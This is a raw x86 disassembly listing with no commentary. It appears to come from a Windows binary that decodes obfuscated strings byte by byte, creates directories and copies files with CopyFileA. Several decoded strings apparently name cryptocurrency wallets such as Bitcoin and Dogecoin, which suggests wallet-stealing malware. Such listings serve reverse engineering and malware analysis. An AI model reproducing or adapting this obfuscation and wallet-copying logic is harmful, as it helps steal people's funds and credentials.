call fcn.00413c60
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [esi + edx]
push ecx
call fcn.00459470
mov byte [esi + edx], al
inc edx
cmp edx, 0xf
jb 0x411f50
mov byte [ebp - 4], 0x66
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411f70
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413b9f
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00460300
or dword [ebp - 0x80], 4
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0x170]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0x15c], 0x10
push ecx
cmovae eax, dword [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffb
mov esi, eax
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x411ff1
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x41201e
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x67
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xf7ffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e470]
xor ecx, ecx
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0xec
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x22]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x22], al
inc ecx
cmp ecx, 0x11
jb 0x412050
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x22]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412080
sub ecx, edx
lea eax, [ebp - 0x22]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x68
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0x158]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x144], 0x10
lea ecx, [ebp - 0x158]
cmovae ecx, dword [ebp - 0x158]
call fcn.0040b8c0
test al, al
je 0x41220a
mov dword [ebp - 0x1a], 0xf7ebdac3
xor ecx, ecx
mov dword [ebp - 0x16], 0xeafaedfa
mov word [ebp - 0x12], 0xf2
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4120f5
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x1a]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412114
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413ba4
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1a]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x10000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41217c
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4121f5
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x6c
sub esp, 0x18
lea eax, [ebp - 0x158]
mov dword [ebp - 0x3c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x6d
mov byte [ebp - 4], 0x6b
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4121c8
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x4121f5
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x6e
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xefffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x54]
call fcn.00402890
mov dword [ebp - 0x30], 0xfeead8c3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xfefbed
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x412220
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412250
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x6f
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xb0]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp dword [ebp - 0x9c], 0x10
lea ecx, [ebp - 0xb0]
cmovae ecx, dword [ebp - 0xb0]
call fcn.0040b8c0
test al, al
je 0x41282c
mov dword [ebp - 0x30], 0xfeead8c3
xor ecx, ecx
mov dword [ebp - 0x2c], 0xfefbed
nop
movzx eax, byte [ebp + ecx - 0x30]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 7
jb 0x4122c0
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x30]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4122e0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413ba9
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x20000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41234c
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412817
mov dword [ebp - 0x1b], 0xfbf1d6c3
xor ecx, ecx
mov dword [ebp - 0x17], 0xfbfae7fa
mov word [ebp - 0x13], 0xdddb
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412370
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412390
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0xa0]
sub eax, edx
cmp eax, ecx
jb 0x413bae
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00460300
mov esi, dword [ebp - 0x80]
lea ecx, [ebp - 0x78]
or esi, 8
mov dword [ebp - 0x80], esi
cmp dword [ebp - 0x64], 0x10
cmovae ecx, dword [ebp - 0x78]
call fcn.0040b8c0
and esi, 0xfffffff7
mov byte [ebp - 0xd], al
mov dword [ebp - 0x80], esi
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412522
lea eax, [ebp - 0x1b]
push eax
call fcn.00413bd0
mov esi, eax
xor edx, edx
nop word [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x412420
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x412472
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412516
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x75
lea eax, [ebp - 0x1b]
push eax
call fcn.00413bd0
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xa
jb 0x4124a0
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x76
mov byte [ebp - 4], 0x74
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4124e9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412516
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x77
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x74
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov dword [ebp - 0x1f], 0xfcf0d3c3
xor ecx, ecx
mov dword [ebp - 0x1b], 0xccbff3fe
mov dword [ebp - 0x17], 0xfeedf0eb
mov word [ebp - 0x13], 0xfaf8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x412543
lea eax, [ebp - 0x1f]
push eax
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x78
mov ecx, eax
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x4126a2
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c00
mov esi, eax
xor edx, edx
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x4125a5
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x4125f7
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412696
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x7a
lea eax, [ebp - 0x1f]
push eax
call fcn.00413c00
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0xe
jb 0x412620
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x7b
mov byte [ebp - 4], 0x79
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x412669
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412696
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x7c
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x4126b0
push esi
lea edx, [ebp - 0xb0]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x7d
mov ecx, eax
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
mov byte [ebp - 0xd], al
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
cmp byte [ebp - 0xd], 0
je 0x412812
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412710
push esi
lea edx, [ebp - 0x54]
lea ecx, [ebp - 0x78]
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x78]
call fcn.00457e70
mov ecx, eax
call fcn.0040b8c0
test al, al
jne 0x412762
push 0
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412806
sub esp, 0x18
mov byte [ebp - 0xd], 0
lea eax, [ebp - 0x78]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x7f
lea eax, [ebp - 0x21]
push eax
call fcn.00413c30
mov esi, eax
xor edx, edx
nop dword [eax + eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x10
jb 0x412790
sub esp, 0x18
lea edx, [ebp - 0xb0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push esi
call fcn.0045c3b0
add esp, 4
mov byte [ebp - 4], 0x80
mov byte [ebp - 4], 0x7e
mov cl, byte [ebp - 0xd]
call fcn.0040e470
add esp, 0x30
test eax, eax
jne 0x4127d9
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412806
lea ecx, [ebp - 0x78]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x28]
call fcn.00402790
mov byte [ebp - 4], 0x81
push ecx
lea ecx, [ebp - 0x28]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0x28]
call fcn.00402890
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0x78]
call fcn.00402890
mov esi, closesocket
and edi, 0xdfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x54]
call fcn.00402890
movaps xmm0, xmmword [0x51e8c0]
xor ecx, ecx
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x48], 0xfaf8f0fb
mov dword [ebp - 0x44], 0xf3fee8b1
mov dword [ebp - 0x40], 0xebfaf3
nop
movzx eax, byte [ebp + ecx - 0x58]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 0x1b
jb 0x412850
xorps xmm0, xmm0
mov dword [ebp - 0x68], 0
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x64], 0
movups xmmword [ebp - 0x78], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412880
sub ecx, edx
lea eax, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x78]
call fcn.00402aa0
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0x78]
push eax
lea edx, [ebp - 0x304]
lea ecx, [ebp - 0xc8]
call fcn.0045c570
add esp, 4
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x78]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp - 0xc8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x85
mov byte [ebp - 4], 0x84
call fcn.0040b820
add esp, 0x18
test al, al
je 0x412a83
mov dword [ebp - 0x1b], 0xf3ead2c3
xor ecx, ecx
mov dword [ebp - 0x17], 0xf0dbf6eb
mov word [ebp - 0x13], 0xfaf8
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412904
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x1b]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412923
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x413bb3
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push ecx
cmovae eax, dword [ebp + 8]
lea ecx, [ebp - 0x1b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x54]
call fcn.00460300
or edi, 0x40000000
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x5c], edi
cmp dword [ebp - 0x40], 0x10
cmovae ecx, dword [ebp - 0x54]
call fcn.0040b8c0
test al, al
jne 0x41298f
push 0
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x412a6e
lea eax, [ebp - 0x22]
push eax
call fcn.00413c90
mov esi, eax
xor edx, edx
nop dword [eax]
movzx ecx, byte [edx + esi]
push ecx
call fcn.00459470
mov byte [edx + esi], al
inc edx
cmp edx, 0x11
jb 0x4129a0
mov byte [ebp - 4], 0x87
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4129c0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x44]
sub eax, edx
cmp eax, ecx
jb 0x413bb8
cmp dword [ebp - 0x40], 0x10
lea eax, [ebp - 0x54]
push ecx
cmovae eax, dword [ebp - 0x54]
push esi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x78]
call fcn.00460300
or dword [ebp - 0x80], 1
lea ecx, [ebp - 0x78]
cmp dword [ebp - 0x64], 0x10
lea eax, [ebp - 0xc8]
push 0
cmovae ecx, dword [ebp - 0x78]
cmp dword [ebp - 0xb4], 0x10
push ecx
cmovae eax, dword [ebp - 0xc8]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x80], 0xfffffffe
mov esi, eax
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
test esi, esi
je 0x412a41
mov eax, dword [ebp - 0x38]
mov byte [eax], 1
jmp 0x412a6e
lea ecx, [ebp - 0x54]
call fcn.00457e70
push eax
lea ecx, [ebp - 0x78]
call fcn.00402790
mov byte [ebp - 4], 0x88
push ecx
lea ecx, [ebp - 0x78]
call fcn.0040b910
add esp, 4
mov byte [ebp - 4], 0x86
lea ecx, [ebp - 0x78]
call fcn.00402890
and edi, 0xbfffffff
mov dword [ebp - 0x5c], edi
mov byte [ebp - 4], 0x84
lea ecx, [ebp - 0x54]
call fcn.00402890
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x89
xor ecx, ecx
mov dword [ebp - 0x18], 0xfcebf6dd
mov dword [ebp - 0x14], 0xf1f6f0
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x412ab0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412ae7
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8a
mov byte [ebp - 4], 0x84
mov edi, dword [ebp - 0x38]
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x8b
xor ecx, ecx
mov dword [ebp - 0x19], 0xfaf8f0db
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412b40
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412b77
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x8d
xor ecx, ecx
mov dword [ebp - 0x19], 0xf1f0f1de
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412bc4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412c00
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x8e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x8f
xor ecx, ecx
mov dword [ebp - 0x18], 0xdccedddd
mov dword [ebp - 0x14], 0xf1f6f0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x412c50
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412c87
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x90
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x91
xor ecx, ecx
mov dword [ebp - 0x19], 0xf7ecfedb
mov dword [ebp - 0x15], 0xfaedf0dc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412cd4
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412d10
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x92
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x93
xor ecx, ecx
mov dword [ebp - 0x1b], 0xedf0f3d9
mov dword [ebp - 0x17], 0xf0fcf1f6
mov word [ebp - 0x13], 0xf1f6
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1b]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 0xa
jb 0x412d63
sub esp, 0x18
lea ecx, [ebp - 0x1b]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412da0
sub ecx, esi
lea eax, [ebp - 0x1b]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x94
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x95
xor ecx, ecx
mov dword [ebp - 0x38], 0xf1feedd9
mov word [ebp - 0x34], 0xf0f4
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x412df0
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412e27
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x96
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x97
xor ecx, ecx
mov dword [ebp - 0x19], 0xf6faedd9
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x412e74
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412eb0
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x98
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x99
xor ecx, ecx
mov dword [ebp - 0x1f], 0xfbf3f0d8
mov dword [ebp - 0x1b], 0xf1f6f0dc
mov dword [ebp - 0x17], 0xd3d8b7bf
mov word [ebp - 0x13], 0xb6db
mov byte [ebp - 0x11], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1f]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x412f10
sub esp, 0x18
lea ecx, [ebp - 0x1f]
mov edx, esp
